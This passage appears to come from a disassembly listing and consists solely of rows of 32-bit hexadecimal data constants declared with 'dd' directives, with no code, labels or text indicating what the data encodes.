		dd 44C54AC2h, 3BF8581Fh, 9C4E3407h, 87F038ADh, 535A64h
		dd 40F7554Ch, 28B71C65h, 0EB0F6317h, 0A0961300h, 93A812h
		dd 39526B4h, 2208FA5Ch,	0C16691C5h, 0E6C590ADh,	8C11C196h
		dd 20AFECECh, 0D3F0C20Bh, 4ECD0015h, 997A47h, 0F3F725A2h
		dd 8557F65Ch, 6F480500h, 1A71EFB0h, 0DF82006Eh,	0C08B434Bh
		dd 9C30C5B7h, 0E6482049h, 2D95009Eh, 74DC0CF8h,	1700C987h
		dd 300FFF2Ch, 0A8EDC8h,	0C406A114h, 7D1B133Fh, 641F4E00h
		dd 7B50B88Dh, 51830019h, 0A781F78Fh, 6D01422Dh,	0A897F412h
		dd 3D0A948h, 7CAF1F29h,	4E92498Ch, 0D0E74C85h, 30F0851Ch
		dd 1ED04B00h, 12CD68B0h, 7009FC89h, 24CF48FDh, 40438E17h
		dd 0DC0F3EC4h, 5D0181CDh, 97FAC622h, 0C8204263h, 91CE00EDh
		dd 6DDA0A0Fh, 0E900F613h, 8C2E2BE5h, 0E4EC9D6h,	86D8A999h
		dd 5A3712A0h, 0FC03EDDAh, 0DF667BD1h, 0F73CE9E8h, 1E41AAD4h
		dd 0E6A68F0Bh, 403000E4h, 5368B926h, 0FCC6A107h, 9B0079F3h
		dd 4FFB203h, 1D64DE7Ch,	0F0B4F423h, 0E0425527h,	1EBAA5F8h
		dd 84DDAE18h, 9040A808h, 2B39C530h, 75D51407h, 0CE1369BAh
		dd 0C080ACD7h, 1D21AAC0h, 404EC194h, 154B1F4Dh,	0FE4A96C2h
		dd 0CAB67880h, 521610A2h, 2C2079F6h, 2AB00545h,	0D3C57E3Ah
		dd 31E8CFE0h, 0F13E2480h, 439300C0h, 0B44CDE05h, 967C018Dh
		dd 0E4125499h, 4E308E41h, 73EDE09Ah, 0DC113Ah, 8CE90558h
		dd 956B930Fh, 530046FAh, 0A4D009ADh, 397AC8h, 0BC372DFBh
		dd 61E5B687h, 0C0117D2Dh, 5D5A2094h, 0ED3E2457h, 21C14B00h
		dd 1FD53925h, 4EC8E800h, 2B0C1E2Eh, 5B300115h, 0C122C0DAh
		dd 2825C4CAh, 829F182Fh, 0C8B52DA8h, 0A41A24h, 7C0ADFD5h
		dd 5AE8E70Eh, 61752703h, 31D626Dh, 0D63094Ch, 598FF24h
		dd 0D894D7C1h, 51BF4F00h, 2C4898E5h, 42C5733h, 0F9D52744h
		dd 6AE301C4h, 0B21DA5E0h, 4F57F670h, 0C680805Fh, 1C00303Ah
		dd 888086CCh, 0DF6A64h,	56B17AC1h, 0FEABF3A1h, 7D9ABA00h
		dd 9C6F675Fh, 1E87A58h,	0D536E7A5h, 30B4559Bh, 191F96E0h
		dd 838491BFh, 648046B9h, 3C14C1Fh, 112247A7h, 0E6D83D0Ah
		dd 7A078ABEh, 7B70EF0Fh, 570EBAA0h, 0F74300CCh,	0EEDBCA13h
		dd 0B90069F1h, 1787E8A1h, 0C3EF602h, 881C9C22h,	8E007110h
		dd 6DFD39B3h, 0EEE14D4h, 0B019CB6Eh, 0C8F6C4A2h, 0EA01847Eh
		dd 5C54B6DAh, 12002428h, 55D956C2h, 0DF13B26Ah,	0DC37ABA9h
		dd 0D6198200h, 69E82E0Ah, 52D40260h, 487EA3A6h,	2128803Ch
		dd 1019DF0Dh, 0EC6270FEh, 6F920153h, 132FDB82h,	4C433A52h
		dd 985A10h, 27037B79h, 2AA44016h, 64DBBC05h, 100343C2h
		dd 1416E13h, 0B890C139h, 0D088D8EBh, 2314DBBAh,	2C4613h
		dd 0C982BC5h, 73706959h, 7CCE80Eh, 16EBA656h, 64EF50CFh
		dd 0B2000FADh, 9FC03AD6h, 0A95CBFh, 8396FE42h, 4F0AA229h
		dd 4B519000h, 608E0C67h, 73080082h, 0AFC19796h,	2900F702h
		dd 95A74AB3h, 6FA07E7h,	65EDDCCBh, 0DB0088D7h, 4110B868h
		dd 3AE89869h, 123030C2h, 5DC42910h, 0B302B0ECh,	5C7142Fh
		dd 8144769Eh, 0C190270Ah, 3AE8BC70h, 0C3BF0AD8h, 0BB408848h
		dd 9A16AAh, 35660994h, 0AF267D84h, 0F677CC7Ah, 0C0EC139Dh
		dd 597F3Fh, 71C5E880h
		dd 184FD05h, 940342FAh,	4032759Dh, 0F50F900Ah, 258A1F70h
		dd 0B0EA4111h, 94553CE6h, 0E47CD2h, 78241FE1h, 1B87E4h
		dd 484D7E73h, 0EF0A0280h, 6220500Fh, 0C081EE15h, 7B719E91h
		dd 1DB7005Fh, 1859DB8h,	0BB004C72h, 69291AEBh, 1466F0h
		dd 0A20A73ADh, 0F454A0C1h, 81F9B93Ah, 5AB2F20Eh, 0EC50526Fh
		dd 7808C93h, 0D962AC2Ch, 0A6AFE00Ah, 130B27C3h,	0EBED205h
		dd 2282A2A3h, 35948279h, 6698A0E7h, 3EB8469h, 0BB9B3B92h
		dd 1198654Dh, 517D12D3h, 0DC5C251Fh, 0FA2342C0h, 6B1486h
		dd 0D2DE02BDh, 0E965C49Ch, 0C12EC000h, 0C642DC40h, 25B300F5h
		dd 8441386Eh, 471D1F74h, 0BDC359A3h, 0B8BBFB66h, 76F13B5h
		dd 6C1D73B2h, 0E797D05Ch, 0AD60341Ah, 2CBC5E99h, 311002Dh
		dd 900A3376h, 7C07C394h, 7A26FB5Dh, 13C4F730h, 0EC7F005Ch
		dd 8598799h, 49018833h,	9B0C018Dh, 0B5C86066h, 7DE11E8Eh
		dd 794C03A4h, 0ABB8D82Ch, 0F6003ED7h, 0CB76E5A9h, 1D16362h
		dd 6AC00154h, 30C9B76Ch, 20D2A86Bh, 9A63D600h, 321674h
		dd 6D2A1120h, 5CF73393h, 4306E5E2h, 75D85869h, 39BF0060h
		dd 505E76FCh, 10A08BF3h, 121BDD84h, 2379EBD8h, 3601D388h
		dd 2154CD63h, 3520E619h, 0B663D8h, 0F3281AC6h, 2EAE88FBh
		dd 11FEEC1Fh, 1353FA83h, 2E7078DFh, 3D8335h, 249ECE7Ah
		dd 0D918EBBDh, 96817104h, 0D4360103h, 20D66753h, 880998F4h
		dd 0FADBB621h, 34EF3EDFh, 58863598h, 0FA0C5D84h, 108C5173h
		dd 0FE1D00ADh, 1A9EDB8Ah, 0C6008BB2h, 0B891C8D7h, 3D3E7E39h
		dd 500ECF4h, 8E980E01h,	0D40071A5h, 0D35E5A04h,	7E287Dh
		dd 1B2B093Fh, 0C41CA452h, 0B1562206h, 0D2F8EBh,	87A0798Ch
		dd 0D452EC5Ch, 55D1BF00h, 854A46A2h, 97630017h,	5369F524h
		dd 8900A762h, 0E0B039BDh, 215FEFh, 0CF81A2E8h, 732483E1h
		dd 0BDEE3Ah, 0A3D06B0Bh, 0EEE305EBh, 475A073Fh,	0E0D59AAEh
		dd 0EEF01903h, 90C5F500h, 0BF978187h, 0F43D29A8h, 61785704h
		dd 192D02BBh, 0BD394E55h, 478610A1h, 3C108FAFh,	0EB6FC546h
		dd 0EC406087h, 0E4C70AEh, 877D9735h, 3075A6E0h,	14A07E3Ch
		dd 0CB886EDBh, 88A892Ch, 0D7374405h, 2EB42284h,	447DE642h
		dd 22841303h, 62742280h, 455F4040h, 1B10CE61h, 413E891Dh
		dd 1367C228h, 414FA48Bh, 0A59A18B1h, 886A4429h,	0F1886847h
		dd 41368931h, 1369F328h, 68791F03h, 3D2B401Dh, 363A2302h
		dd 0F029C03Ch, 24351C00h, 2DFACDADh, 8B1B00B1h,	784962BFh
		dd 821B1DB2h, 0E009BA90h, 0FEB1811Ah, 8F270083h, 0D83DD508h
		dd 5B002BB6h, 0FD85426Fh, 265C3369h, 32C1D32h, 0EDBF0FA5h
		dd 771F10D8h, 74033BE4h, 0E2685FA0h, 0DBFEF8E5h, 1C0C0739h
		dd 71305689h, 47F49A72h, 468EC0B9h, 16F87AD3h, 46C413Bh
		dd 0FF96C131h, 80700897h, 38D8AB46h, 5800F3F7h,	23181EF0h
		dd 0ACE86E47h, 0BC357A00h, 0BF9EB7AFh, 4BA300EBh, 4F5F89A6h
		dd 6F1C7C2Bh, 7A400EF3h, 9B207B33h, 988207EAh, 63342229h
		dd 5F3EFD4h, 94D52100h,	96A30D72h, 0DF7112F9h, 0BB5C45C8h
		dd 0BEB9C324h, 84DB1888h, 0AD29903h, 0A0154F2Bh, 175A3Bh
		dd 68709AFFh, 7C272918h, 74F4D80Fh, 0D5877E43h,	9FF08FFCh
		dd 3C123161h, 0F000DE72h, 3D071F79h, 0E3005D0Ch, 0FDFCA74Ch
		dd 3CDD2AD8h, 2080DC54h, 30D7B5B4h, 0E00592Dh, 6FA3EA0Ah
		dd 7A101CBh, 7A83BF9Ah,	2992505Fh, 0FC00C38Eh, 78C00703h
		dd 87BE65h, 5DF54C0Ch, 0A96D4BF4h, 5E8E2700h, 9BFFBDF7h
		dd 0FDBF007Dh, 10BCFB2Bh, 6403D02Ch, 540351C3h,	67A580DAh
		dd 0FCBF00F5h, 66774408h, 603470Eh, 3C2D0C1Bh, 8039E36Dh
		dd 393EF369h, 0CF006A09h, 0CD5D2053h, 560DD976h, 8215ED6h
		dd 454F8F0h, 38E7AEEFh,	0F134807Dh, 2E12F2ACh, 2005741h
		dd 173C71DCh, 995A0781h, 27C8B748h, 5BE04FD6h, 733F8E16h
		dd 57F78A00h, 0BB4A93Dh, 7594126Fh, 0CB08387Bh,	3F3B5000h
		dd 0EE47A0C3h, 0F03400C1h, 0DCF62317h, 0B479EC8Ah, 0F96FC701h
		dd 7374D243h, 30803DE9h, 0C6CF53B2h, 609D917Eh,	0F46C6Ch
		dd 1555D340h, 0E5A2191Fh, 0BAA13D00h, 71F01AD5h, 1C6D4992h
		dd 0CC93120Eh, 9E2F1440h, 650079BCh, 0BF8A3A25h, 9C8118h
		dd 553417B8h, 848FFF7Dh, 8E4EA300h, 0AE6C8638h,	911600F5h
		dd 0E677C00Dh, 0FD00711Bh, 92734A25h, 0CF75CCh,	9AC1FA55h
		dd 0DD29533Eh, 8F870400h, 0ED2FCD60h, 1197451h,	0FD02A7D2h
		dd 0E8F2B2FCh, 252E63EEh, 803ED274h, 182178E3h,	0EAC8E69Dh
		dd 27EB0097h, 35950EAAh, 86180C8Eh, 42D094F0h, 751901F3h
		dd 8C72BC44h, 8E14F846h, 708A2C1Ch, 17F13880h, 1DFE9F8Bh
		dd 80D0E5DAh, 90C97821h, 0C86FA0DCh, 83009D08h,	0ACB33DA7h
		dd 7BD60044h, 5DF981F7h, 0B91E4796h, 0BD39AD31h, 0E113F15h
		dd 4277E451h, 4073175Dh, 39996188h, 504C607Eh, 0EEDC9A80h
		dd 0F100E00Bh, 1A3287AFh, 0FA86DCBh, 273A2835h,	0C08A417Fh
		dd 0F4F86C76h, 5005881h, 13701618h, 0D69AC2h, 4B55B42Ah
		dd 60EADD65h, 44682900h, 23195E2Fh, 0FC080396h,	0EB4D1195h
		dd 0FED5D9A0h, 51A0C501h, 7A13CEADh, 7EB070h, 0B7D1EF86h
		dd 0B5053DEBh, 0F47C472Eh, 0A8E71900h, 314FEECh, 9D341523h
		dd 97B867A1h, 50008B29h, 5F52A27h, 0F8D56113h, 1DEA0399h
		dd 30083FD3h, 0A53AA000h, 0F8E8F91Eh, 747B023Eh, 5CA27964h
		dd 19BE4C40h, 16825958h, 1FFC0B54h, 0DD28FF30h,	4C300DC1h
		dd 0EC4D39EDh, 0CB223CDAh, 37115CC8h, 0CAD0255h, 63A1DD42h
		dd 69AA985Dh, 26AF0097h, 3D09245Eh, 72003570h, 27A6DDE2h
		dd 23959B0h, 71162E85h,	0A86031EFh, 589DF444h, 2A4E00C4h
		dd 776E2351h, 82033B45h, 8172E42h, 3EFDE8FAh, 744773B9h
		dd 25BC1B78h, 9AD8405Dh, 693077B1h, 785F98F5h, 25EC6Ch
		dd 3EA3BAC4h, 21BDFE47h, 8AEE18B0h, 0FA7A7101h,	0D84E8D72h
		dd 0D2AED0h, 0B064A3C6h, 0E888E665h, 0B7F09900h, 3E24E2FFh
		dd 4B34005Ch, 34585CAh,	0C30981A0h, 801AADDFh, 3163645Dh
		dd 6CC200A3h, 0FA62F337h, 0A1011FCBh, 2B25C101h, 0B8F4ED0Dh
		dd 10C460E3h, 6B41F580h, 0D50A6A01h, 0E809265Fh, 0A52420h
		dd 0FB6D7C87h, 8493258Dh, 7733E003h, 0E1165342h, 5960FDB0h
		dd 0D03C604Dh, 0CFFCC854h, 0E0B8AF28h, 4BEB200h, 11BB9C34h
		dd 0FDF0FF38h, 0B34300C1h, 953E5BE7h, 390D9EDBh, 9A6CCAEh
		dd 4AD9820h, 0B21F066Dh, 49B8C082h, 0DA0F4A44h,	40307EC8h
		dd 0C3C2F213h, 0B2B70031h, 0C65C686Bh, 6E0F0CB1h, 1CF82D79h
		dd 51314DC0h, 0F35A72h,	9D80022Ah, 65D2FFD9h, 0CEB4B0Fh
		dd 46B661AAh, 0C2300B68h, 4598A0BCh, 0D97E00ECh, 0B37F166Eh
		dd 78003D2Ch, 19A7CDE0h, 3D92F1EDh, 0F71F98F5h,	0FC71C026h
		dd 0E6FF1BDFh, 41A46E00h, 53881C13h, 0EA1E010Fh, 54772F3Fh
		dd 508D60B1h, 0DFA5E501h, 7F2D739Fh, 0B3972180h, 0C8812757h
		dd 842E1C3Fh, 0AEC3D6E6h, 4C61AF03h, 9117F3D0h,	1B425F00h
		dd 77951AE2h, 892F01F6h, 0A1292D61h, 4E3C2065h,	3B48100h
		dd 3CB3B582h, 41B70185h, 55A3865Bh, 56B6FCA4h, 0E5EA79F0h
		dd 0E6DA30E7h, 82134A06h, 0FE09529Bh, 288A012Eh, 20741F21h
		dd 86B4DC17h, 718B8100h, 0D86E39A5h, 61730075h,	44963FBBh
		dd 0A1002703h, 14C226FDh, 632372h, 0E1501119h, 0E8A0C18Eh
		dd 3A092500h, 44744B8Fh
		dd 41940E62h, 0B6603C33h, 457B38E0h, 5C552900h,	80BD7A0Ch
		dd 5AEC0081h, 0AE9B98BAh, 0ACFA62F9h, 4137961Dh, 83E364C0h
		dd 2974EAh, 0DB52DD8Dh,	0BD6D3FDCh, 4F0E5578h, 0C0805F88h
		dd 10E175ABh, 626B00ECh, 0B11D2FA4h, 7D071351h,	85DCE08Dh
		dd 0F2B98C40h, 0F1390275h, 0FEC7324Ch, 3F9B48E0h, 37839CA0h
		dd 5DDEACA0h, 3C8D1F18h, 50C528h, 232E94A3h, 81E5F2F8h
		dd 0C128C91Eh, 0F0323000h, 587EA780h, 18807887h, 45AC7158h
		dd 0D627F200h, 5E7729C7h, 3FD102FFh, 2AB798Dh, 9ADAA882h
		dd 0C67F5C60h, 1DC0031Fh, 61DFE900h, 789C75h, 7392B543h
		dd 0AAA3E68h, 0F303677Ch, 1D64E6C4h, 0D761A0B4h, 5495306Bh
		dd 76EDF458h, 0A75AA317h, 0B75DA000h, 7808CD50h, 8255004Ch
		dd 1A7D96ECh, 0A2F63E16h, 2DBE691Fh, 9202031Fh,	435B53E5h
		dd 0EB1E90D9h, 0A9421C3Ah, 0F693C0BAh, 8AF43D85h, 6F061400h
		dd 3A08C3FDh, 2C100F3h,	5F6D8268h, 2E009545h, 19B0425Ch
		dd 11253EFh, 17EAEC05h,	0BE52D1DCh, 0D42A0009h,	6A01B472h
		dd 0A8904E7h, 0A4F0B679h, 3C1EDF70h, 571F0D10h,	0BB206440h
		dd 973712h, 0F43804E4h,	332C7AF6h, 0DC53D00h, 2EE076B1h
		dd 0A8A96037h, 0D85073BFh, 0F3F78E00h, 96DD6B60h, 0AB8D005Dh
		dd 3CB6B5C6h, 0A01B28Bh, 8CBBFEC5h, 38BE2354h, 0E2358480h
		dd 774565CAh, 3AAD7300h, 6BE1150Ch, 0F22B1629h,	14800026h
		dd 8209BE79h, 6CDF8A01h, 0A6EC5808h, 3E448570h,	4A00D070h
		dd 8ED7605Eh, 0F40155A5h, 28D3A0AEh, 0E6D80F30h, 690A00AFh
		dd 0DBFA9D8Dh, 0CD1D5892h, 20005B62h, 6191E16Ch, 939700A5h
		dd 0DB821A59h, 1B0272F0h, 6A2FA675h, 0EA94C098h, 0FF42000Bh
		dd 0FE7774ECh, 79077EEFh, 9502F5F0h, 4009C141h,	0B20DCh
		dd 7338FF5Fh, 7851F98Ah, 9E18130h, 0B50FEh, 143ABC10h
		dd 7F7BEC0Ch, 600E6A7Eh, 0B3AE69EAh, 32B0D400h,	321E412h
		dd 0C8223171h, 2DD037F2h, 0F9005E27h, 85BDB5F5h, 72859D2h
		dd 0D9AD8D98h, 96D64010h, 0A009FB8h, 0E782C789h, 0E4BD08h
		dd 3E4887C9h, 0F070737Dh, 0A3CF5104h, 1CC0E78Eh, 0EC10E8D8h
		dd 3F600D4h, 0D01D1A2Dh, 14F279DCh, 8CC5AA00h, 568DC468h
		dd 4E90ADh, 2C4AD794h, 2B01BD13h, 0D9B094B8h, 3FC6471h
		dd 15636800h, 2C453A07h, 9592014Ch, 903C59C0h, 2AD3D02Bh
		dd 2949E300h, 8285A724h, 500A0792h, 0E055E11Fh,	0A32B2CE0h
		dd 0E3743509h, 0C42808FBh, 0B75F9E00h, 0FB8B022h, 42A33EEBh
		dd 0C9A93BA4h, 387C2030h, 0A45FE40Bh, 0B6AC22B7h, 0BFA8C105h
		dd 2D40AC65h, 142A4707h, 0C43A6028h, 26892B04h,	0F02CB484h
		dd 0A300207Ch, 8A2D3E45h, 0BA1E0h, 17246FDh, 9C86FCA0h
		dd 6938D4F7h, 639E9B0Eh, 195AB3Ch, 0BAF89838h, 0FA68E0h
		dd 6F8D23B5h, 0D035AC96h, 7B4BC43Ch, 6D0C9h, 30F8C7A8h
		dd 0BCA00B2h, 11C59C3Ah, 1F01C82Eh, 29F35FDh, 51F437ECh
		dd 75701E5h, 0D1CCE64h,	9BE6Ch,	882C6F5Dh, 0C3352896h
		dd 446AB3D0h, 84C18CE0h, 0A816C600h, 261D3AE4h,	7AB53EB4h
		dd 6F6DFA81h, 2078302Bh, 0F03855F0h, 1200F03Fh,	3774BFD4h
		dd 436ED6h, 4F2638AEh, 0B620BD92h, 6FFE3D04h, 24A00848h
		dd 0CC933F34h, 661E8489h, 5CF0EC63h, 319B99Bh, 0D528EB0Dh
		dd 0CCE14840h, 0DECD0005h, 0B68FFF78h, 6F67793h, 0BC014E28h
		dd 62239F00h, 6DDC67C3h, 0A63B07E4h, 10DE1DF7h,	6FD3A314h
		dd 0B2732300h, 34B5CDB0h, 0BDC00E36h, 6800DBBFh, 0E88927F6h
		dd 1A3E2CFEh, 17238E4h,	0D3DB7969h, 0B3F0539Dh,	652D0091h
		dd 0B2344364h, 2A2C0BB4h, 0D80937B9h, 0A34681DCh, 24873347h
		dd 20DE77F0h, 81048EE7h, 0C5A03001h, 239E8C84h,	2D9860h
		dd 8734192h, 0D38618D0h, 47006079h, 0D59C2B78h,	872C5Ah
		dd 201519A0h, 513EF364h, 8F477C1Dh, 585772CFh, 29A10Ah
		dd 1B8068D0h, 0DCE85924h, 45C33Dh, 514C7712h, 90D731h
		dd 0F515F4C2h, 24EF8E29h, 0AC018CFCh, 891F5CBAh, 0BC5056A1h
		dd 0B8D7A51Ah, 0D2930090h, 0E0A4111Dh, 0A10F2D44h, 2760E4h
		dd 0A64263E9h, 78DF0074h, 7D087A4Dh, 0F0727F66h, 700008DFh
		dd 0ADF34C65h, 14DC0007h, 9E1A108Ah, 311CF8BBh,	0C4DC19EDh
		dd 0C66C5BC0h, 0BFB15Eh, 5AB701A1h, 0A2543BFDh,	836B1D1Dh
		dd 47932BC0h, 6FE30F2h,	8267228Fh, 0D700C041h, 0F9E66C3Ch
		dd 0EE06874h, 0AB963ED3h, 2A11F3E0h, 9B490258h,	7FF424A0h
		dd 0E8F1DC0Ch, 3092EBh,	0A53B8A72h, 778BB0E6h, 3CF0D35Dh
		dd 0A444009Eh, 0A9432594h, 51270E93h, 65A0ACCBh, 6626AE96h
		dd 0B086C100h, 0E1E589F5h, 0E35A03F6h, 0E2A2EBD2h, 0FD01087Ch
		dd 2F1138D9h, 8447DB84h, 0E0319642h, 0BF5FDAh, 0C2B549F3h
		dd 24DE4651h, 98F88892h, 4D8AAA00h, 6082E98Eh, 4FE50464h
		dd 0C0790D23h, 19695FFCh, 7D7E8F00h, 1B2436C5h,	0E98400D0h
		dd 8E52B2B4h, 0C33DE198h, 0EFE68042h, 1ABA817Fh, 4B1014Fh
		dd 33DD1C25h, 0D86DC438h, 6B562C00h, 2E0C3979h,	633B00D2h
		dd 7C5EDD24h, 220F1DA0h, 80EFF2AFh, 5928D969h, 0FA89004Dh
		dd 79200511h, 4F01D8FDh, 61E33BA6h, 6DD5CD1Bh, 6B2094F1h
		dd 0BC7600A4h, 0AF80FC87h, 3600D2C7h, 0D8D6357Ch, 1237C4F9h
		dd 0FE71B458h, 0D1FDF800h, 392EB9BAh, 6B01274Eh, 19573A9h
		dd 30B3C8B8h, 37BD7D00h, 356115F0h, 0C16012A6h,	22950193h
		dd 0C687F4B9h, 0F8F06A63h, 8A7030D4h, 3BC13F1Eh, 0EEAF1000h
		dd 13734Fh, 6CE12D7Fh, 5F46BE09h, 31778F01h, 0A6918B83h
		dd 0A084E7C4h, 7D417990h, 2AB076h, 0B3684C7Bh, 95324A7Dh
		dd 660036FCh, 1B437CB1h, 147682h, 19D1C5D8h, 12EA200Fh
		dd 8DB2737h, 0ABE9DDC1h, 78EF0EFh, 0C6A80EE2h, 0A280B479h
		dd 0F2FAC9DAh, 66D6B500h, 0C425CF40h, 0C06700ACh, 6F13850Bh
		dd 0B9077D09h, 8F23AB7Ch, 0A9AA4E10h, 0F2C70FF9h, 5260823Eh
		dd 61985196h, 0BCC6BB3Eh, 0E9007401h, 0CEFDCF8Ch, 0A42F9Dh
		dd 785BC27Ah, 0E77F35B4h, 0FF067E00h, 3273F4F1h, 6BE20749h
		dd 90489BEDh, 20D3C0C3h, 7EA52D00h, 4F96CE0Eh, 26E6AFh
		dd 7056FC08h, 0E0F03839h, 54534D0Eh, 420EB361h,	4EFB2C5Ch
		dd 0C5220710h, 31F84D51h, 50E4B9C0h, 15C77DD0h,	9C56290Fh
		dd 9DDCE207h, 904C4895h, 30D60E34h, 43801BEEh, 31D461EDh
		dd 0D0CDE700h, 0D50ECB4Dh, 3F2A004Ah, 22480423h, 110D5B20h
		dd 90321C9h, 0DA70F0h, 6E677E42h, 0FCE002D2h, 1DB88100h
		dd 0D9F48288h, 0D8FF00F2h, 0EFF9E98Dh, 0E13048CAh, 6288B83Fh
		dd 672D001Eh, 0DA5AA01h, 0CF00DA1Fh, 990EF43h, 0D788A0h
		dd 0AB1054D1h, 0A1914751h, 0C2F21200h, 76B944FBh, 0FCE200FAh
		dd 0D56698BBh, 2B3C6B23h, 631F0021h, 0D968AA0Ah, 30E4075Bh
		dd 6F74504Eh, 5A6B9A60h, 0B8010979h, 99A71434h,	0B6C8EB61h
		dd 0D677000Ch, 934475EFh, 522E3A12h, 720C47ABh,	7710AFh
		dd 0C85CB1Eh, 755E43A8h, 0D1C97D18h, 3B9DC28h, 0AF717AB0h
		dd 40F5BD36h, 2DD1CFE0h, 0A7CC1D9h, 0F1CD400h, 0D31AD2C8h
		dd 6EE3ECCh, 7500233Bh,	2C827ED1h, 981F0B11h, 80584615h
		dd 248109h, 9F9D9979h, 0FCD1E232h, 59EA6D00h, 875666D7h
		dd 1F3A00CCh, 3E9F37DCh, 0B500E74Fh, 4E21EE77h,	3358C32h
		dd 14D63C3Dh, 8E886979h, 0BD005CDCh, 994C6FA6h,	7BC75D7h
		dd 0C31CE17Fh, 0ADB8E0FAh
		dd 81D0C0Bh, 0DDC1B2EAh, 0AA21306Ch, 5570F8EFh,	3219C065h
		dd 84913B89h, 0A4E2ED00h, 0CBB7F4A5h, 589A26h, 0C14760ACh
		dd 8AFB2212h, 0D94C6109h, 80A889BAh, 0B4F20B02h, 0DA400038h
		dd 0DF7EB3A6h, 8807B287h, 0AAF18473h, 0EE4260FEh, 24317220h
		dd 66F29h, 0FF6A068Dh, 0CA0C6309h, 904F8608h, 729D00EBh
		dd 602935A4h, 34627C01h, 60615288h, 0EAC8A19Ch,	194203BEh
		dd 66B75D40h, 0ED53CAA8h, 69C0F24Ch, 0EC8000C4h, 9F851Eh
		dd 6A929A7Eh, 0BB907CBFh, 0D90080B8h, 0D781E90Eh, 60897749h
		dd 30C2D0B3h, 347A0531h, 0ED73CB00h, 0A81E99DBh, 2C0E0024h
		dd 0B364CCD7h, 53004B8Ch, 12EF5F52h, 0A592D3Ch,	421A090Ah
		dd 0FDEC008Ah, 0C604C726h, 0DDDF4Ch, 6489D4DDh,	829BF1h
		dd 45BBD973h, 58BD47FEh, 8710EA3Bh, 87CBE0BEh, 4B2F4170h
		dd 0EBB200FFh, 0F983B5A6h, 7E00BB5Ah, 6392A395h, 1E602E06h
		dd 445F0744h, 0C0D285E5h, 8764E010h, 0CBBE6701h, 0D1BD3A89h
		dd 3F760E0h, 9B3DDC7Dh,	0FAE0C03Eh, 0D5036C6Fh,	0EC501918h
		dd 5451A961h, 400009BEh, 77ADF22Ah, 1009C7Eh, 0E9324CE0h
		dd 0F1A3CC3h, 636AFB87h, 0BAC5EF6h, 2C009D25h, 1DD6D3E4h
		dd 758E859h, 48EF41EEh,	47EA0FA0h, 0A28026CEh, 677F04D5h
		dd 13E4C72Bh, 0F9D8969Dh, 0D200CAB1h, 0E43FE8C5h, 0C260720h
		dd 3ABDA3EDh, 663B4610h, 16F50087h, 4AAB6130h, 0B7F91EB6h
		dd 805864D0h, 0C771B5BBh, 0AC001440h, 748C75EBh, 379D4B08h
		dd 0B0991B5Ch, 0FF89B8EFh, 0F6D6800h, 9C78F614h, 0C5BC0015h
		dd 1F3487Eh, 58E823D3h,	1F5A58h, 62C3E21h, 1B556DCh, 0CA8A48AEh
		dd 710760FEh, 0F411C853h, 0B571262Ch, 4056EF0Eh, 5C2B61B0h
		dd 79EA24F9h, 574E0E04h, 0F8F67C00h, 55E45267h,	0F5116D00h
		dd 0E60EAFB3h, 41A74D1h, 91FD737h, 1134C036h, 0BE05F6AAh
		dd 6CA9D05Eh, 62C54CC0h, 0DB6E0EE6h, 0DE40E56Fh, 0D4419FD1h
		dd 0ADE36D0Eh, 7CE420D0h, 11362CFh, 14C369F0h, 0D11C6A89h
		dd 1F09BEF1h, 2801A21h,	0AFA86658h, 74A5128Bh, 8F3C40EFh
		dd 1705C7FFh, 5D50AE01h, 51E957BFh, 0AAB499EAh,	0B145F540h
		dd 0D4992DBBh, 3A078DD0h, 6934BF38h, 0D25A2F80h, 43900024h
		dd 48889314h, 60FC39Fh,	8197A7B6h, 9582AE3Ah, 72E064h
		dd 56CFACFBh, 142C132Dh, 0C2608F00h, 0DB3FF657h, 0A9B00053h
		dd 0C84274E2h, 0BA28A356h, 0F83B8749h, 0ED2580A1h, 4F8F942Ah
		dd 23CF3DF1h, 9634D887h, 2C7BC024h, 892CC558h, 4A0040EDh
		dd 0FB2FEF1Bh, 0B302260Fh, 5AEA0F5Bh, 5F7E00FEh, 8F892A52h
		dd 0E31B3D00h, 84EB15Bh, 7B8D000Ch, 35D8EDEh, 0B81D600Ah
		dd 2758211Ah, 0F85DB2Ch, 0EC77F475h, 74A156C1h,	0D846F528h
		dd 3100E945h, 54B2123Bh, 775FBFFh, 0A9D66AF9h, 0C605E22h
		dd 2953DC09h, 9B82E806h, 0E605F9Eh, 16707135h, 0D1637098h
		dd 4EA37407h, 2F017C38h, 0C3F05B83h, 1420695h, 105D28AFh
		dd 44453Ch, 0B73823E1h,	0EA429689h, 745E2CD6h, 0E3390E3Bh
		dd 4A0C2C34h, 67716543h, 1949D800h, 2402BDD6h, 5CE00040h
		dd 72CFE68Ch, 0C40F9137h, 0D81F8B73h, 14C26859h, 2877DEAAh
		dd 0C4AA11Dh, 85A82EA3h, 595F6800h, 0F4F943BBh,	7B4800D1h
		dd 0A2558425h, 3500712Eh, 21B733F5h, 98589Ch, 23D2E217h
		dd 1AAFB09Bh, 0B520D00h, 29B67F69h, 6A58003Ah, 1B10D7DFh
		dd 0F7006C2Bh, 62070102h, 0FCDA28A1h, 117B0096h, 0FE730AEFh
		dd 7800A720h, 0AB146FBAh, 31A7AFAh, 0D2EEE21Eh,	80D40EA2h
		dd 0A79822BCh, 293AFD00h, 0B6F40307h, 0FAE10583h, 5EE423h
		dd 0B47E3090h, 920B5Ch,	0AA043552h, 1DA13AB0h, 0C8DFA400h
		dd 882A3B34h, 6A7600FEh, 3F71CA44h, 4A0FD88Ah, 71D82E7h
		dd 708787FDh, 0A405814Fh, 9EF0CFFAh, 353B01E5h,	0D8CCF0A3h
		dd 0CCBF07Bh, 80002AF0h, 0CDE76834h, 0F346B8h, 2F50FED2h
		dd 0DFA31E6Ch, 751B5B00h, 4C1D8188h, 14D3022Ah,	0A6D8E71h
		dd 0B036495h, 0E7342E1Eh, 0E81F6F03h, 0E923B7h,	0FD15B299h
		dd 0A32E077h, 58AA0B07h, 8C0E5A0Eh, 84B52913h, 39652510h
		dd 17140E21h, 0CE12128h, 2296A09h, 1D4F2284h, 229B2D22h
		dd 66225FA7h, 0C8DBB057h, 0FB421929h, 4FA2566h,	442ED828h
		dd 0B8469625h, 0DE42C919h, 111A6511h, 2E199491h, 8122914h
		dd 5D12F7BFh, 10922882h, 2253B622h, 92220AAh, 1B122298h
		dd 14048A25h, 0D54C29A3h, 99003351h, 6ACB2BEBh,	2C2E5798h
		dd 0F9AF7Ch, 8B712DD0h,	0C200D6ADh, 72661B62h, 186D79h
		dd 3286519Eh, 0A7E068A0h, 0BACBB301h, 0BF804F4Eh, 0FB1AF8h
		dd 405C50C4h, 1BA67437h, 0BC60F800h, 0AFCDAEDCh, 0C37D1CB6h
